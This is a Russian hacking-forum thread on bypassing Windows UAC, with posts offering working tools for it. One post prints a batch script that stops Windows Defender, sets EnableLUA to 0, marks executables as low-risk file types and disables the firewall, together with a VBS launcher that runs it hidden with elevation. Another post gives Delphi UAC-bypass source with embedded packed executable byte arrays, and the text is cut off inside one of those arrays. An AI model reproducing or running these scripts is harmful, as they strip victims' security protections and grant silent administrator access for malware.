• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

Вопрос Обход UAC (Bypass UAC)


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
Всем привет, я вот тут подумал, а так-ли страшен UAC, защитник виндовз и файервол виндовз для вирусописателей и хакеров ?

А действительно казалось-бы, UAC– это песочница, которая лочит опасные действия программ, защитник винды ловит вирусы, файервол блокирует опасную сетевую активность программ, не комплекс а сказка, зачем какие-то сторонние средства защиты ?

Это всё хорошо, но у этого уака, так-же как и всего комплекса есть как потенциальные уязвимости, так и не потенциальные а вполне реальные уязвимости !

Под потенциальной уязвимостью – я подразумеваю программные методы отключения, повышения привелегий и завершения процессов UAC, в этой теме предлагаю рассмотреть способ как это можно реализовать на практике ! ;)

Под реальной уязвимостью, я подразумеваю обход оповещения UAC, во время повышения привелегий программы, подробней про это можно почитать на хабре

Итак приступим, как обычно ничего мега сложного не будет, но здесь я решил слесть с делфи и попробовать реализовать такую простую функцию программы на асме, в данном случае я использовал компилятор FASM !

Итак что-же будет делать наша программа:

1)Отключать UAC;

2)Отключать защитника виндовз;

3)Отключать файервол.

4)Т.к. это страшный червь ещё, то будет выводить ещё и это:

UAK.png


Думаю не имеет смысла выкладывать сюда код, т.к. кому это интересно глянете исходник во вложении, вроде всё прокомментировал, да и нечего сложного там нет…

Конечно это всё можно-было реализовать и на Делфи и на си и ассемблер в данном случае и не нужен, но мне что-то захотелось поизучать FASM, так что можно считать что это первая моя программа на FASM, типо хеллоу ворлд ! ;)

Пароль:111

На семёрке вроде всё работает, подготовил ролик !

 

Вложения

  • UAC_OFF_FIXED.rar
    12.1 КБ · Просмотры: 296

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
Не хочет у меня работать,ни на семёрке ни на восьмёрке.
Профиксил...

Это было из-за того-что у меня на рабочем ПК заданы переменные среды, это нужно для некоторых компиляторов, тот метод который я использовал как раз их и юзал...Dmeh-Smeh-Smeh!!!

Кстати в своё время долго не мог понять почему некоторые мои проги работают только у меня...Отдыхай!!!
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
При запуске и на семёрке и на восьмёрке,сначала вылезает окошко с запросом
Снимок.JPG

На восьмёрке потом требует перезагрузки (и на семёрке тоже нужна перезагрузка,просто не пишут) и защитник не отключается (этот вопрос уже был в скрытом чате).
Снимок экрана (1).png
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
При запуске и на семёрке и на восьмёрке,сначала вылезает окошко с запросом
Но это стандартное окно на почти любую программу, достаточно согласится и всё, суть этого метода в том, что если пользователь даст согласие (А в 80% он согласие даст...), то программа запускается с повышенными привелегиями, т.е. это доступ к реестру, диску С и т.д.

Что касается защитника винды, к сожалению проверить на 8-ке не могу, на 7-ке отключается нормально служба !

Но скажу что работает KillProcess для защитника !Отдыхай!!!

Во вложении более профессиональная реализация метода обхода UAC с сорцем на Visuall C++, там реализовано два метода обхода и окошко показываться не будет...My mind

Вот запустит по умолчанию cmd.exe с правами админа без запроса UAC, можете что-то другое запустить, например батник из моей проги вытащить и если его запустить через эту программу то никаких запросов не будет:

UAC1.png


Моё-же решение, это так просто играюсь...Dmeh-Smeh-Smeh!!!

Архив с исходниками этой проги можно скачать здесь:

Пароль:111
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
Я не знаю нужно кому, но хочу немного по подробней рассказать что я сделал:
и на семёрке тоже нужна перезагрузка,просто не пишут
Я удалил оповещение просто на семёрке...Отдыхай!!!

Тут на самом деле всё просто, во время запуска программы в папке темп создаётся два скрипта:

1)Батник с таким кодом:
Код:
net stop windefend
Reg Add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideSCAHealth /t REG_DWORD /d 1 /f
Reg Add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments /v SaveZoneInformation /t REG_DWORD /d 1 /f
Reg Add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations /v LowRiskFileTypes /t REG_SZ /d .zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;.mdb; /f
Reg Add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
netsh firewall set opmode disable
netsh dvfirewall firewall set opmode disable
netsh firewall set opmode mode=disable profile=ALL
netsh advfirewall firewall set opmode mode=disable profile=ALL
exit

Он отключает UAC, службу защитника винды и файервол

2)Второй скрипт на vbs для скрытого запуска батника, вы-же не видели чёрного окошка...My mind
Код:
Set objShell = CreateObject("Shell.Application")
dim filePath
set wshell=wscript.createobject("wscript.shell")
Set filesys = CreateObject("Scripting.FileSystemObject")
Set f = filesys.GetSpecialFolder(2)
objShell.ShellExecute f&"\StopUAC.bat", " uac", "", "runas", 0
Set wshell = Nothing

На кой извините хуй здесь ассемблер спросите вы, отвечаю сразу, не знаю...Dmeh-Smeh-Smeh!!!

Единственное скажу, кто будет создавать файлы на FASM обратите внимание на кодировку, например у батника кодировка ASCII, для перевода на новую строку там символы 10,13 !

А у FASM там перевод на новую просто 13 достаточно, НО если будет просто символ 13, то батник работать не будет, хотя с виду всё смотрется будет нормально (код в блокноте), а сам CMD будет выдавать ошибку...

Это так интересное наблюдение !WinkSmile
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
UAC Bypass.Два варианта обхода,написано на делфи .Для компиляции нужен XE5,а что менять для совместимости с седьмой делфи-ХЗ.Так что проверить не смог(.
Код:
{
  UAC Bypass by Metal_Kingdom (Rev2)
  Coded in XE5
  Date: 2014/04/12
  URLs: UdTools.net & ic0de.org
  Thanks to Pink/Danyfirex for his small files (FileOp & DllDummy).
  Thanks to Snify for giving me ideas with their projects
  Thanks to Steve10120 for uExecFromMem
}
 
unit Unit1;
 
interface
 
uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, uexecfrommem,
  Winapi.ShellAPI;
 
type
  TForm1 = class(TForm)
	procedure FormCreate(Sender: TObject);
  private
	{ Private declarations }
  public
	{ Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.dfm}
 
const
  FOp: array [0 .. 2559] of byte = ($4D, $5A, $80, $00, $01, $00, $00, $00, $04,
	$00, $10, $00, $FF, $FF, $00, $00, $40, $01, $00, $00, $00, $00, $00, $00,
	$40, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $80, $00, $00, $00, $0E, $1F, $BA, $0E, $00,
	$B4, $09, $CD, $21, $B8, $01, $4C, $CD, $21, $54, $68, $69, $73, $20, $70,
	$72, $6F, $67, $72, $61, $6D, $20, $63, $61, $6E, $6E, $6F, $74, $20, $62,
	$65, $20, $72, $75, $6E, $20, $69, $6E, $20, $44, $4F, $53, $20, $6D, $6F,
	$64, $65, $2E, $0D, $0A, $24, $00, $00, $00, $00, $00, $00, $00, $00, $50,
	$45, $00, $00, $4C, $01, $03, $00, $C5, $76, $35, $53, $00, $00, $00, $00,
	$00, $00, $00, $00, $E0, $00, $0F, $01, $0B, $01, $01, $46, $00, $10, $00,
	$00, $00, $10, $00, $00, $00, $40, $00, $00, $90, $52, $00, $00, $00, $50,
	$00, $00, $00, $60, $00, $00, $00, $00, $40, $00, $00, $10, $00, $00, $00,
	$02, $00, $00, $01, $00, $00, $00, $00, $00, $00, $00, $04, $00, $00, $00,
	$00, $00, $00, $00, $00, $70, $00, $00, $00, $10, $00, $00, $00, $00, $00,
	$00, $02, $00, $00, $00, $00, $10, $00, $00, $00, $10, $00, $00, $00, $00,
	$01, $00, $00, $00, $00, $00, $00, $00, $00, $00, $10, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $60, $00, $00, $24, $01, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $55, $50, $58, $30, $00, $00, $00, $00,
	$00, $40, $00, $00, $00, $10, $00, $00, $00, $00, $00, $00, $00, $02, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $80, $00,
	$00, $E0, $55, $50, $58, $31, $00, $00, $00, $00, $00, $10, $00, $00, $00,
	$50, $00, $00, $00, $06, $00, $00, $00, $02, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $40, $00, $00, $E0, $55, $50, $58,
	$32, $00, $00, $00, $00, $00, $10, $00, $00, $00, $60, $00, $00, $00, $02,
	$00, $00, $00, $08, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $40, $00, $00, $C0, $33, $2E, $30, $37, $00, $55, $50, $58,
	$21, $0D, $09, $02, $09, $3D, $B4, $BA, $E9, $75, $E7, $7C, $38, $0D, $32,
	$00, $00, $78, $02, $00, $00, $00, $0C, $00, $00, $16, $00, $00, $B9, $9B,
	$66, $2B, $FF, $C7, $05, $00, $20, $40, $00, $24, $00, $09, $14, $04, $6A,
	$00, $76, $BB, $77, $FF, $FF, $15, $E8, $68, $00, $40, $49, $22, $10, $68,
	$04, $01, $00, $0F, $8C, $30, $0A, $4E, $24, $DC, $66, $B7, $E7, $04, $14,
	$0F, $90, $30, $1A, $0F, $2A, $22, $77, $92, $CF, $F7, $94, $1F, $3A, $2A,
	$22, $20, $25, $04, $F3, $7C, $BF, $48, $00, $49, $6A, $24, $29, $EC, $32,
	$90, $EE, $61, $DD, $10, $19, $6A, $50, $1C, $31, $16, $36, $FD, $B6, $93,
	$1C, $2A, $22, $14, $04, $69, $A1, $4C, $50, $8B, $EC, $B5, $F7, $BD, $12,
	$50, $14, $6A, $A1, $35, $2B, $05, $48, $1A, $BE, $4B, $2E, $BB, $40, $0A,
	$54, $08, $D0, $88, $44, $10, $05, $E6, $76, $00, $DF, $75, $DF, $FD, $5C,
	$00, $73, $00, $79, $03, $70, $00, $72, $00, $65, $05, $5C, $1B, $43, $00,
	$52, $00, $59, $36, $F3, $FF, $FF, $00, $50, $00, $54, $00, $42, $00, $41,
	$00, $53, $00, $45, $00, $2E, $00, $64, $00, $6C, $00, $6C, $0B, $6C, $B7,
	$B9, $FF, $EF, $27, $76, $00, $61, $00, $74, $00, $69, $00, $6F, $00, $6E,
	$00, $3A, $23, $1D, $6D, $0D, $75, $9F, $E9, $36, $0B, $69, $49, $74, $1D,
	$6F, $07, $21, $BD, $B9, $BB, $CD, $13, $2D, $77, $23, $7B, $00, $33, $15,
	$27, $30, $00, $35, $B2, $3D, $77, $D7, $01, $37, $03, $2D, $00, $38, $01,
	$0B, $09, $34, $D7, $8D, $7C, $37, $30, $13, $39, $00, $32, $00, $37, $31,
	$01, $62, $17, $77, $5D, $F7, $BA, $05, $64, $09, $49, $30, $1F, $7D, $85,
	$75, $55, $D0, $FF, $FF, $FF, $FF, $3A, $57, $88, $50, $48, $92, $77, $11,
	$B8, $5B, $DB, $8E, $09, $5F, $AB, $7A, $94, $5C, $0A, $13, $4C, $B4, $D6,
	$4B, $F7, $83, $6F, $C9, $F8, $1E, $6D, $82, $22, $AC, $F8, $FF, $43, $18,
	$E7, $EE, $42, $BC, $55, $A1, $E2, $61, $C3, $7B, $FE, $32, $72, $65, $07,
	$A2, $50, $30, $13, $5E, $2B, $B2, $C9, $00, $68, $03, $72, $B6, $69, $96,
	$30, $AA, $BA, $C6, $30, $13, $9C, $DB, $AD, $CA, $56, $00, $47, $04, $31,
	$0B, $3B, $95, $2D, $39, $F4, $00, $24, $31, $07, $8A, $2A, $A4, $CE, $FD,
	$47, $51, $01, $B6, $0C, $7C, $2F, $FF, $5F, $36, $88, $20, $01, $45, $78,
	$69, $74, $50, $72, $6F, $63, $65, $73, $73, $47, $65, $74, $B1, $ED, $B7,
	$FF, $54, $65, $6D, $70, $50, $61, $74, $68, $57, $0D, $6C, $73, $74, $72,
	$63, $0A, $57, $17, $B3, $FD, $DF, $DA, $53, $79, $0D, $1A, $44, $69, $72,
	$65, $63, $74, $6F, $72, $79, $57, $42, $89, $EE, $FD, $ED, $4F, $E8, $43,
	$6F, $49, $6E, $44, $69, $61, $6C, $69, $7A, $65, $0D, $2D, $BB, $D9, $6C,
	$EE, $4F, $62, $6A, $27, $23, $93, $1C, $21, $53, $48, $43, $39, $7F, $DB,
	$BA, $5B, $4B, $65, $49, $44, $46, $6E, $6D, $62, $72, $73, $69, $6E, $67,
	$4E, $F9, $2F, $4F, $E8, $61, $6D, $65, $8C, $50, $45, $4C, $01, $03, $00,
	$C5, $76, $35, $53, $83, $34, $FF, $0F, $E0, $00, $0F, $01, $0B, $01, $01,
	$46, $00, $02, $08, $10, $EC, $66, $DF, $60, $03, $20, $0C, $40, $0B, $1F,
	$01, $00, $BD, $67, $87, $9D, $04, $3C, $40, $17, $19, $82, $06, $2C, $78,
	$CB, $96, $37, $29, $0E, $34, $0C, $45, $F6, $26, $42, $1A, $00, $2E, $F6,
	$0D, $E9, $2E, $10, $78, $74, $90, $ED, $AC, $02, $23, $0B, $16, $EE, $16,
	$EA, $60, $2E, $64, $3D, $61, $9C, $64, $03, $1B, $AC, $05, $FB, $06, $EC,
	$F2, $1B, $6C, $6C, $F6, $C0, $2E, $69, $28, $CB, $30, $4B, $0A, $27, $EE,
	$84, $68, $29, $02, $6C, $91, $07, $00, $00, $00, $00, $00, $80, $04, $00,
	$FF, $00, $00, $00, $60, $BE, $15, $50, $40, $00, $8D, $BE, $EB, $BF, $FF,
	$FF, $57, $83, $CD, $FF, $EB, $10, $90, $90, $90, $90, $90, $90, $8A, $06,
	$46, $88, $07, $47, $01, $DB, $75, $07, $8B, $1E, $83, $EE, $FC, $11, $DB,
	$72, $ED, $B8, $01, $00, $00, $00, $01, $DB, $75, $07, $8B, $1E, $83, $EE,
	$FC, $11, $DB, $11, $C0, $01, $DB, $73, $EF, $75, $09, $8B, $1E, $83, $EE,
	$FC, $11, $DB, $73, $E4, $31, $C9, $83, $E8, $03, $72, $0D, $C1, $E0, $08,
	$8A, $06, $46, $83, $F0, $FF, $74, $74, $89, $C5, $01, $DB, $75, $07, $8B,
	$1E, $83, $EE, $FC, $11, $DB, $11, $C9, $01, $DB, $75, $07, $8B, $1E, $83,
	$EE, $FC, $11, $DB, $11, $C9, $75, $20, $41, $01, $DB, $75, $07, $8B, $1E,
	$83, $EE, $FC, $11, $DB, $11, $C9, $01, $DB, $73, $EF, $75, $09, $8B, $1E,
	$83, $EE, $FC, $11, $DB, $73, $E4, $83, $C1, $02, $81, $FD, $00, $F3, $FF,
	$FF, $83, $D1, $01, $8D, $14, $2F, $83, $FD, $FC, $76, $0F, $8A, $02, $42,
	$88, $07, $47, $49, $75, $F7, $E9, $63, $FF, $FF, $FF, $90, $8B, $02, $83,
	$C2, $04, $89, $07, $83, $C7, $04, $83, $E9, $04, $77, $F1, $01, $CF, $E9,
	$4C, $FF, $FF, $FF, $5E, $89, $F7, $B9, $01, $00, $00, $00, $8A, $07, $47,
	$2C, $E8, $3C, $01, $77, $F7, $8B, $07, $8A, $5F, $04, $86, $C4, $C1, $C0,
	$10, $86, $C4, $29, $F8, $80, $EB, $E8, $01, $F0, $89, $07, $83, $C7, $05,
	$88, $D8, $E2, $E0, $8D, $BE, $00, $30, $00, $00, $8B, $07, $09, $C0, $74,
	$3C, $8B, $5F, $04, $8D, $84, $30, $00, $50, $00, $00, $01, $F3, $50, $83,
	$C7, $08, $FF, $96, $50, $50, $00, $00, $95, $8A, $07, $47, $08, $C0, $74,
	$DC, $89, $F9, $57, $48, $F2, $AE, $55, $FF, $96, $54, $50, $00, $00, $09,
	$C0, $74, $07, $89, $03, $83, $C3, $04, $EB, $E1, $FF, $96, $64, $50, $00,
	$00, $8B, $AE, $58, $50, $00, $00, $8D, $BE, $00, $F0, $FF, $FF, $BB, $00,
	$10, $00, $00, $50, $54, $6A, $04, $53, $57, $FF, $D5, $8D, $87, $9F, $01,
	$00, $00, $80, $20, $7F, $80, $60, $28, $7F, $58, $50, $54, $50, $53, $57,
	$FF, $D5, $58, $61, $8D, $44, $24, $80, $6A, $00, $39, $C4, $75, $FA, $83,
	$EC, $80, $E9, $E7, $BB, $FF, $FF, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $7C, $60, $00, $00,
	$50, $60, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $89, $60, $00, $00, $6C, $60, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $93, $60, $00, $00, $74, $60, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $9E, $60, $00, $00, $AC, $60, $00, $00, $BC, $60, $00,
	$00, $CC, $60, $00, $00, $DA, $60, $00, $00, $E8, $60, $00, $00, $00, $00,
	$00, $00, $F6, $60, $00, $00, $00, $00, $00, $00, $04, $61, $00, $00, $00,
	$00, $00, $00, $4B, $45, $52, $4E, $45, $4C, $33, $32, $2E, $44, $4C, $4C,
	$00, $4F, $4C, $45, $33, $32, $2E, $44, $4C, $4C, $00, $53, $48, $45, $4C,
	$4C, $33, $32, $2E, $44, $4C, $4C, $00, $00, $4C, $6F, $61, $64, $4C, $69,
	$62, $72, $61, $72, $79, $41, $00, $00, $47, $65, $74, $50, $72, $6F, $63,
	$41, $64, $64, $72, $65, $73, $73, $00, $00, $56, $69, $72, $74, $75, $61,
	$6C, $50, $72, $6F, $74, $65, $63, $74, $00, $00, $56, $69, $72, $74, $75,
	$61, $6C, $41, $6C, $6C, $6F, $63, $00, $00, $56, $69, $72, $74, $75, $61,
	$6C, $46, $72, $65, $65, $00, $00, $00, $45, $78, $69, $74, $50, $72, $6F,
	$63, $65, $73, $73, $00, $00, $00, $43, $6F, $47, $65, $74, $4F, $62, $6A,
	$65, $63, $74, $00, $00, $00, $53, $48, $43, $72, $65, $61, $74, $65, $49,
	$74, $65, $6D, $46, $72, $6F, $6D, $50, $61, $72, $73, $69, $6E, $67, $4E,
	$61, $6D, $65, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00);
 
  DllDummy: array [0 .. 3583] of byte = ($4D, $5A, $90, $00, $03, $00, $00, $00,
	$04, $00, $00, $00, $FF, $FF, $00, $00, $B8, $00, $00, $00, $00, $00, $00,
	$00, $40, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $80, $00, $00, $00, $0E, $1F, $BA, $0E,
	$00, $B4, $09, $CD, $21, $B8, $01, $4C, $CD, $21, $54, $68, $69, $73, $20,
	$70, $72, $6F, $67, $72, $61, $6D, $20, $63, $61, $6E, $6E, $6F, $74, $20,
	$62, $65, $20, $72, $75, $6E, $20, $69, $6E, $20, $44, $4F, $53, $20, $6D,
	$6F, $64, $65, $2E, $0D, $0D, $0A, $24, $00, $00, $00, $00, $00, $00, $00,
	$50, $45, $00, $00, $4C, $01, $03, $00, $FA, $BF, $34, $53, $00, $00, $00,
	$00, $00, $00, $00, $00, $E0, $00, $0E, $21, $0B, $01, $02, $32, $00, $10,
	$00, $00, $00, $10, $00, $00, $00, $70, $00, $00, $60, $88, $00, $00, $00,
	$80, $00, $00, $00, $90, $00, $00, $00, $00, $00, $10, $00, $10, $00, $00,
	$00, $02, $00, $00, $04, $00, $00, $00, $00, $00, $00, $00, $04, $00, $00,
	$00, $00, $00, $00, $00, $00, $A0, $00, $00, $00, $10, $00, $00, $00, $00,
	$00, $00, $03, $00, $00, $00, $00, $00, $10, $00, $00, $10, $00, $00, $00,
	$00, $10, $00, $00, $10, $00, $00, $00, $00, $00, $00, $10, $00, $00, $00,
	$00, $91, $00, $00, $48, $00, $00, $00, $00, $90, $00, $00, $00, $01, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $48, $91, $00, $00, $0C,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $55, $50, $58, $30, $00, $00, $00,
	$00, $00, $70, $00, $00, $00, $10, $00, $00, $00, $00, $00, $00, $00, $02,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $80,
	$00, $00, $E0, $55, $50, $58, $31, $00, $00, $00, $00, $00, $10, $00, $00,
	$00, $80, $00, $00, $00, $0A, $00, $00, $00, $02, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $40, $00, $00, $E0, $55, $50,
	$58, $32, $00, $00, $00, $00, $00, $10, $00, $00, $00, $90, $00, $00, $00,
	$02, $00, $00, $00, $0C, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $40, $00, $00, $C0, $33, $2E, $30, $37, $00, $55, $50,
	$58, $21, $0D, $09, $02, $0A, $53, $F5, $AB, $08, $7F, $8C, $C0, $1C, $D1,
	$63, $00, $00, $41, $08, $00, $00, $00, $1A, $00, $00, $00, $00, $00, $B4,
	$7E, $DB, $FF, $FF, $83, $7C, $24, $08, $01, $75, $0E, $8B, $44, $24, $04,
	$A3, $00, $00, $32, $D8, $E8, $22, $05, $00, $14, $02, $75, $77, $19, $EC,
	$C7, $06, $00, $75, $05, $E8, $38, $12, $03, $B8, $01, $0B, $E5, $B3, $9D,
	$7B, $C2, $0C, $00, $68, $06, $04, $10, $00, $09, $E8, $BB, $0F, $DD, $6D,
	$BA, $7F, $3F, $D4, $E8, $EB, $16, $0E, $F1, $E8, $18, $18, $C3, $E8, $11,
	$7B, $37, $76, $F9, $1E, $26, $17, $FF, $35, $1F, $97, $1A, $C3, $C3, $8B,
	$15, $0C, $9F, $3B, $1B, $BB, $E8, $52, $52, $14, $E8, $43, $AC, $4D, $17,
	$30, $EF, $2E, $DB, $FD, $00, $01, $14, $24, $E8, $47, $09, $8F, $05, $1D,
	$65, $37, $31, $C0, $C3, $00, $38, $14, $44, $65, $00, $FF, $25, $91, $91,
	$B1, $25, $70, $C0, $05, $D8, $DC, $E0, $27, $F8, $91, $E0, $E4, $FF, $74,
	$24, $04, $A2, $EC, $E8, $CE, $03, $D2, $FD, $97, $8B, $85, $C0, $74, $17,
	$FF, $30, $FF, $15, $1A, $E8, $D8, $7F, $C1, $BF, $37, $C2, $04, $00, $6A,
	$01, $10, $E8, $55, $06, $14, $10, $1E, $6A, $DF, $B1, $7F, $C1, $04, $6A,
	$53, $F0, $E8, $F2, $05, $12, $32, $F4, $0E, $EC, $AE, $7B, $FF, $63, $3F,
	$EC, $C3, $55, $8B, $EC, $51, $53, $56, $57, $43, $22, $18, $35, $FF, $FF,
	$63, $FF, $83, $4D, $FC, $FF, $8B, $F8, $33, $F6, $20, $F0, $8A, $08, $84,
	$C9, $74, $75, $8B, $55, $08, $80, $F9, $20, $75, $06, $40, $80, $77, $FB,
	$F6, $F6, $38, $20, $74, $FA, $13, $33, $DB, $43, $0F, $22, $75, $23, $40,
	$0A, $8B, $F0, $20, $FD, $B7, $DF, $5D, $16, $0D, $74, $07, $40, $2C, $75,
	$F4, $23, $00, $74, $05, $8B, $D0, $40, $EB, $21, $03, $73, $AD, $BB, $04,
	$EB, $1D, $1D, $17, $23, $3D, $1F, $F6, $B7, $B7, $6F, $18, $74, $04, $EB,
	$DE, $45, $8B, $0F, $3B, $6D, $75, $07, $8B, $4D, $08, $85, $18, $0B, $EE,
	$BA, $FF, $1A, $85, $DB, $74, $03, $FF, $45, $FC, $5E, $F6, $27, $8E, $83,
	$7D, $F7, $F7, $F6, $FF, $76, $13, $8B, $10, $EB, $14, $85, $F6, $74, $0D,
